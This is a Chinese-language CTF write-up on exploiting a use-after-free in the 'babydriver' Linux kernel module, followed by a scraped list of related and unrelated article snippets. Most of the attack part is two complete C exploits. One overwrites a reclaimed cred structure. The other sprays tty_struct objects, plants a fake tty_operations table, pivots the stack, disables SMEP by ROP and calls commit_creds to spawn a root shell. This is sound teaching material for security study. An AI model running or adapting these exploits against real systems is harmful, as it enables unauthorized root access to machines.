linux_kernel_uaf漏洞利用实战
前言
好像是国赛的一道题。一个 linux
的内核题目。漏洞比较简单,可以作为入门。
题目链接: 在这里
正文
题目给了3个文件
分配是 根文件系统 , 内核镜像, 启动脚本。解压运行 boot.sh
即可。 vmware
需要开启一个选项。
使用 lsmod
可以找到加载的内核模块,以及它的加载地址。
多次启动发现,地址都没有变化,说明没有开启 kaslr
,从 boot.sh
中查看 qemu
启动选项
qemu-system-x86_64 -initrd rootfs.cpio -kernel bzImage -append 'console=ttyS0 root=/dev/ram oops=panic panic=1' -enable-kvm -monitor /dev/null -m 64M --nographic -smp cores=1,threads=1 -cpu kvm64,+smep
发现开启了 smep
.
然后解压 rootfs.cpio
, 拿出内核模块文件,用 ida
分析之。
使用
解开 rootfs.cpis
,可以使用 find
命令搜索 babydriver
, 可知 内核模块文件位于 lib/modules/4.4.72/babydriver.ko
, 然后放到 ida
里面分析即可。
使用 open
开启设备时会,分配一块内存到 babydev_struct.device_buf
关闭设备时会直接 kfree
掉 babydev_struct.device_buf
.
read
和 write
非常正常的操作。
ioctl
时我们可以让 驱动 重新分配我们想要的大小的内存。
程序的漏洞在于 babydev_struct
是一个全局变量,所以如果我们打开两次该设备,就会有两个 fd
可以操作这个结构体,然后释放掉一个,另外剩下的那个就会指向一块已经 free
掉的内存, UAF
.
由于开启了 smep
,我们不能使用 ret2user
的攻击方式。下面介绍两种利用方法。
**修改 cred **
进程的权限由
uid
决定,所以我们可以通过ioctl
分配和cred
结构体同样大小的内存块然后触发漏洞,
free
掉它,接着通过fork
创建进程,这样该进程的cred
结构体就会使用刚刚free
掉的内存。而此时我们可以使用
babydriver
的write
功能修改这块内存。我们可以修改
cred
结构体中代表uid
的区域 为0
,就实现了root
exp
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <string.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/ioctl.h>
#include <pthread.h>
#define CRED_SIZE 168
#define DEV_NAME "/dev/babydev"
char buf[100];
int main()
{
int fd1, fd2, ret;
char zero_buf[100];
memset(zero_buf, 0, sizeof(char) * 100);
fd1 = open(DEV_NAME, O_RDWR);
fd2 = open(DEV_NAME, O_RDWR);
// 首先通过ioctl改变第一次open的内存大小,使其和cred结构体一样大小
ret = ioctl(fd1, 0x10001, CRED_SIZE);
// release第一次open,释放一个cred结构体一样大小的内存
close(fd1);
// fork一个新进程来创建一个cred结构体,这个cred结构体就会用刚刚释放的内存,即UAF内存空间
int now_uid = 1000; // 当前uid为1000
int pid = fork();
if (pid < 0) {
perror("fork error");
return 0;
}
if (!pid) {
// 写入28个0,一直到egid及其之前的都变为了0,这个时候就已经会被认为是root了
ret = write(fd2, zero_buf, 28);
now_uid = getuid();
if (!now_uid) {
printf("get root done\n");
// 权限修改完毕,启动一个shell,就是root的shell了
system("/bin/sh");
exit(0);
} else {
puts("failed?");
exit(0);
}
} else {
wait(NULL);
}
close(fd2);
return 0;
}
利用tty_struct
smep
只是不能执行用户态的代码,我们还是可以使用 用户态的数据的。我们可以通过 rop
来关闭 smep
, 然后再在使用 ret2user
的技术进行提权。
首先我们需要控制 rip
, 可以通过 触发 uaf
后,多次分配 tty_struct
来占坑,然后使用 write
修改 tty_operations
的指针到我们伪造的 tty_operations
结构体 就可以控制 rip
了。
要进行 rop
我们需要一个可控的 栈 。
这里使用
因为在调用 tty_operations
里面的函数时,最后一步是 call rax
, 所以进入到这里时 的 rax
就为 0xffffffff81007808
这是一个 内核的内存地址,不过它的低 32
位,也即 eax
为 0x81007808
,是一个 用户态的地址,我们是可以通过 mmap
拿到的,所以思路就是,首先通过 mmap
在 0x81007808
处布置好 rop_chain
然后 设置 tty_operations
里面的其中一个函数指针为 xchg esp,eax
的地址,然后调用之,就会进入 rop
了。
xchg esp,eax
之后,可以发现 rsp
被劫持到我们可控的数据区了,接下来就是通过 rop
关闭 semp
, 然后 ret2user
提权即可。
exp
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <errno.h>
#include <sys/stat.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <string.h>
#include <pty.h>
#include <sys/mman.h>
#include <sys/ipc.h>
#include <sys/sem.h>
#define TTY_STRUCT_SIZE 0x2e0
#define SPRAY_ALLOC_TIMES 0x100
int spray_fd[0x100];
/* // 将tty_struct放入UAF空间,将第24字节的位置用伪造的tty_operations替换,如147、148行所示
tty_struct:
int magic; // 4
struct kref kref; // 4
struct device *dev; // 8
struct tty_driver *driver; // 8
const struct tty_operations *ops; // 8, offset = 4 + 4 + 8 + 8 = 24
[...]
*/
struct tty_operations {
struct tty_struct * (*lookup)(struct tty_driver *driver,
struct file *filp, int idx);
int (*install)(struct tty_driver *driver, struct tty_struct *tty);
void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
int (*open)(struct tty_struct * tty, struct file * filp);
void (*close)(struct tty_struct * tty, struct file * filp);
void (*shutdown)(struct tty_struct *tty);
void (*cleanup)(struct tty_struct *tty);
int (*write)(struct tty_struct * tty,
const unsigned char *buf, int count);
int (*put_char)(struct tty_struct *tty, unsigned char ch);
void (*flush_chars)(struct tty_struct *tty);
int (*write_room)(struct tty_struct *tty);
int (*chars_in_buffer)(struct tty_struct *tty);
int (*ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
long (*compat_ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
void (*set_termios)(struct tty_struct *tty, struct ktermios * old);
void (*throttle)(struct tty_struct * tty);
void (*unthrottle)(struct tty_struct * tty);
void (*stop)(struct tty_struct *tty);
void (*start)(struct tty_struct *tty);
void (*hangup)(struct tty_struct *tty);
int (*break_ctl)(struct tty_struct *tty, int state);
void (*flush_buffer)(struct tty_struct *tty);
void (*set_ldisc)(struct tty_struct *tty);
void (*wait_until_sent)(struct tty_struct *tty, int timeout);
void (*send_xchar)(struct tty_struct *tty, char ch);
int (*tiocmget)(struct tty_struct *tty);
int (*tiocmset)(struct tty_struct *tty,
unsigned int set, unsigned int clear);
int (*resize)(struct tty_struct *tty, struct winsize *ws);
int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew);
int (*get_icount)(struct tty_struct *tty,
struct serial_icounter_struct *icount);
const struct file_operations *proc_fops;
};
typedef int __attribute__((regparm(3)))(*_commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (*_prepare_kernel_cred)(unsigned long cred);
/* Gadgets */
_commit_creds commit_creds = (_commit_creds) 0xffffffff810a1420;
_prepare_kernel_cred prepare_kernel_cred = (_prepare_kernel_cred) 0xffffffff810a1810;
unsigned long native_write_cr4 = 0xFFFFFFFF810635B0; // 写入cr4来关闭smep
unsigned long xchgeaxesp = 0xFFFFFFFF81007808; // 设置栈
unsigned long poprdiret = 0xFFFFFFFF813E7D6F;
//unsigned long iretq = 0xFFFFFFFF8181A797;
unsigned long iretq = 0xffffffff814e35ef;
unsigned long swapgs = 0xFFFFFFFF81063694; // 回到用户空间之前的准备
/* status */
unsigned long user_cs, user_ss, user_rflags;
void save_stats() {
asm(
"movq %%cs, %0\n" // mov rcx, cs
"movq %%ss, %1\n" // mov rdx, ss
"pushfq\n" // 把rflags的值压栈
"popq %2\n" // pop rax
:"=r"(user_cs), "=r"(user_ss), "=r"(user_rflags) : : "memory" // mov user_cs, rcx; mov user_ss, rdx; mov user_flags, rax
);
}
void get_shell() {
system("/bin/sh");
}
void get_root() {
commit_creds(prepare_kernel_cred(0));
}
void exploit() {
int i;
char *buf = (char*)malloc(0x1000);
struct tty_operations *fake_tty_operations = (struct tty_operations *)malloc(sizeof(struct tty_operations));
save_stats();
memset(fake_tty_operations, 0, sizeof(struct tty_operations));
fake_tty_operations->ioctl = (unsigned long)xchgeaxesp; // 设置tty的ioctl操作为栈转移指令
int fd1 = open("/dev/babydev", O_RDWR);
int fd2 = open("/dev/babydev", O_RDWR);
ioctl(fd1, 0x10001, TTY_STRUCT_SIZE);
write(fd2, "hello world", strlen("hello world"));
close(fd1);
// spray tty 这里的堆喷射其实去掉也能成功,因为是释放后紧接着申请的
puts("[+] Spraying buffer with tty_struct");
for (i = 0; i < SPRAY_ALLOC_TIMES; i++) {
spray_fd[i] = open("/dev/ptmx", O_RDWR | O_NOCTTY);
if (spray_fd[i] < 0) {
perror("open tty");
}
}
// 现在有一个tty_struct落在了UAF区域里
puts("[+] Reading buffer content from kernel buffer");
long size = read(fd2, buf, 32);
if (size < 32) {
puts("[-] Reading not complete!");
printf("[-] Only %ld bytes read.\n", size);
}
// 检查喷射是否成功
puts("[+] Detecting buffer content type");
if (buf[0] != 0x01 || buf[1] != 0x54) {
puts("[-] tty_struct spray failed");
printf("[-] We should have 0x01 and 0x54, instead we got %02x %02x\n", buf[0], buf[1]);
puts("[-] Exiting...");
exit(-1);
}
// 设置tty_operations为伪造的操作
puts("[+] Spray complete. Modifying function pointer");
unsigned long *temp = (unsigned long *)&buf[24];
*temp = (unsigned long)fake_tty_operations;
puts("[+] Preparing ROP chain");
unsigned long lower_address = xchgeaxesp & 0xFFFFFFFF;
unsigned long base = lower_address & ~0xfff;
printf("[+] Base address is %lx\n", base);
if (mmap(base, 0x30000, 7, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0) != base) {
perror("mmap");
exit(1);
}
unsigned long rop_chain[] = {
poprdiret,
0x6f0,
native_write_cr4, // cr4 = 0x6f0
(unsigned long)get_root,
swapgs, // swapgs; pop rbp; ret
base, // rbp = base
iretq,
(unsigned long)get_shell,
user_cs,
user_rflags,
base + 0x10000,
user_ss
};
memcpy((void*)lower_address, rop_chain, sizeof(rop_chain));
puts("[+] Writing function pointer to the driver");
long len = write(fd2, buf, 32);
if (len < 0) {
perror("write");
exit(1);
}
puts("[+] Triggering");
for (i = 0;i < SPRAY_ALLOC_TIMES; i++) {
ioctl(spray_fd[i], 0, 0); // FFFFFFFF814D8AED call rax
}
}
int main() {
exploit();
return 0;
}
最后
内核态和用户态其实也差不多,主要就是对内存机制要非常了解。 xchg esp, eax
然后 mmap
即可控制 栈数据, 这个技巧确实厉害。使用 gef
没法调内核,换了 pwndbg
就可以了.
参考
http://pwn4.fun/2017/08/15/Linux-Kernel-UAF/
http://bobao.360.cn/learning/detail/4148.html
linux_kernel_uaf漏洞利用实战的更多相关文章
- 格式化字符串漏洞利用实战之 njctf-decoder
前言 格式化字符串漏洞也是一种比较常见的漏洞利用技术.ctf 中也经常出现. 本文以 njctf 线下赛的一道题为例进行实战. 题目链接:https://gitee.com/hac425/blog_d ...
- 格式化字符串漏洞利用实战之 0ctf-easyprintf
前言 这是 0ctf 的一道比较简单的格式化串的题目. 正文 逻辑非常简单 do_read 可以打印内存地址的数据,可用来 泄露 got. leave 格式化字符串漏洞. printf(s) 直接调用 ...
- Android内核漏洞利用技术实战:环境搭建&栈溢出实战
前言 Android的内核采用的是 Linux 内核,所以在Android内核中进行漏洞利用其实和在 一般的 x86平台下的 linux 内核中进行利用差不多.主要区别在于 Android 下使用的是 ...
- Metasploit漏洞利用,三个入侵主机实战案例
受害者主机 windows2003 ie模拟工具ietest ie5.5/6/7/ 漏洞:MS10_002,MS10_018,MS12-020 ---------------------------- ...
- 靶机练习 - ATT&CK红队实战靶场 - 1. 环境搭建和漏洞利用
最近某个公众号介绍了网上的一套环境,这个环境是多个Windows靶机组成的,涉及到内网渗透,正好Windows和内网渗透一直没怎么接触过,所以拿来学习下. 下载地址:http://vulnstack. ...
- SSRF——漏洞利用(二)
0x01 概述 上篇讲述了SSRF的一般用法,用http协议来进行内网探测,攻击内网redis,接下来讨论的是SSRF的拓展用法,通过,file,gopher,dict协议对SSRF漏洞进行利用. 0 ...
- MySQL数据库渗透及漏洞利用总结
Mysql数据库是目前世界上使用最为广泛的数据库之一,很多著名公司和站点都使用Mysql作为其数据库支撑,目前很多架构都以Mysql作为数据库管理系统,例如LAMP.和WAMP等,在针对网站渗透中,很 ...
- Metaploit-永恒之蓝漏洞利用
目录 Metaploit介绍 实验环境 漏洞利用过程 Metaploit介绍 本次测试主要是利用永恒之蓝漏洞对windows7进行控制利用,掌握Metaploit工具的使用,知道永恒之蓝的漏洞利用原理 ...
- Linux环境下常见漏洞利用技术(培训ppt+实例+exp)
记得以前在drops写过一篇文章叫 linux常见漏洞利用技术实践 ,现在还可以找得到(https://woo.49.gs/static/drops/binary-6521.html), 不过当时开始 ...
随机推荐
- POJ 2328
#include<iostream> #include<stdio.h> #include<string> using namespace std; int mai ...
- [摘]HttpContext, HttpRequest, HttpResponse, HttpRuntime, HttpServerUtility
[摘]http://www.cnblogs.com/fish-li/archive/2011/08/21/2148640.html HttpRuntime HttpRuntime公开了一个静态方法 U ...
- Exception message: /bin/bash: line 0: fg: no job control
这个错误是 我本地idea 远程调试hadoop集群出现的 Diagnostics: Exception from container-launch. Container id: container_ ...
- ruby部署之Heroku
下载安装 :https://devcenter.heroku.com/articles/heroku-cli (我是windows,所以我下载windows) cmd黑窗口输入: $ heroku ...
- Dubbo-Centos7管控台安装
1.下载Tomcat7: $ wget http://mirrors.hust.edu.cn/apache/tomcat/tomcat-7/v7.0.57/bin/apache-tomcat-7.0. ...
- Android_读取元素的数据
在AndroidManifest.xml中,<meta-data>元素可以作为子元素,被包含在<activity>.<application> .<servi ...
- hadoop下安装mahout
安装hadoop 完成 安装mahout 首先下载mahout压缩文件apache-mahout-distribution-0.12.2.tar.gz 放到/home/hadoop/software- ...
- nodejs zip压缩版安装与配置
Node.js 1.下载 下载地址:https://nodejs.org/zh-cn/download/ 选择相应的版本下载 2.解压缩 将文件解压到要安装的位置,并新建两个目录 node-globa ...
- JS的可枚举性
在学习ES6的过程中,涉及到遍历方法时,提到过可枚举性,且多种遍历方法都与可枚举性相关.本章节,将总结这些遍历方法的可枚举性,并在必要的部分,给出对比实例. 一.设置属性的可枚举性 在上一文章 ...
- Extjs报错处理
错误信息: IE:SCRIPT1009: 缺少 '}' FF: SyntaxError: identifier starts immediately after numeric literal ... ...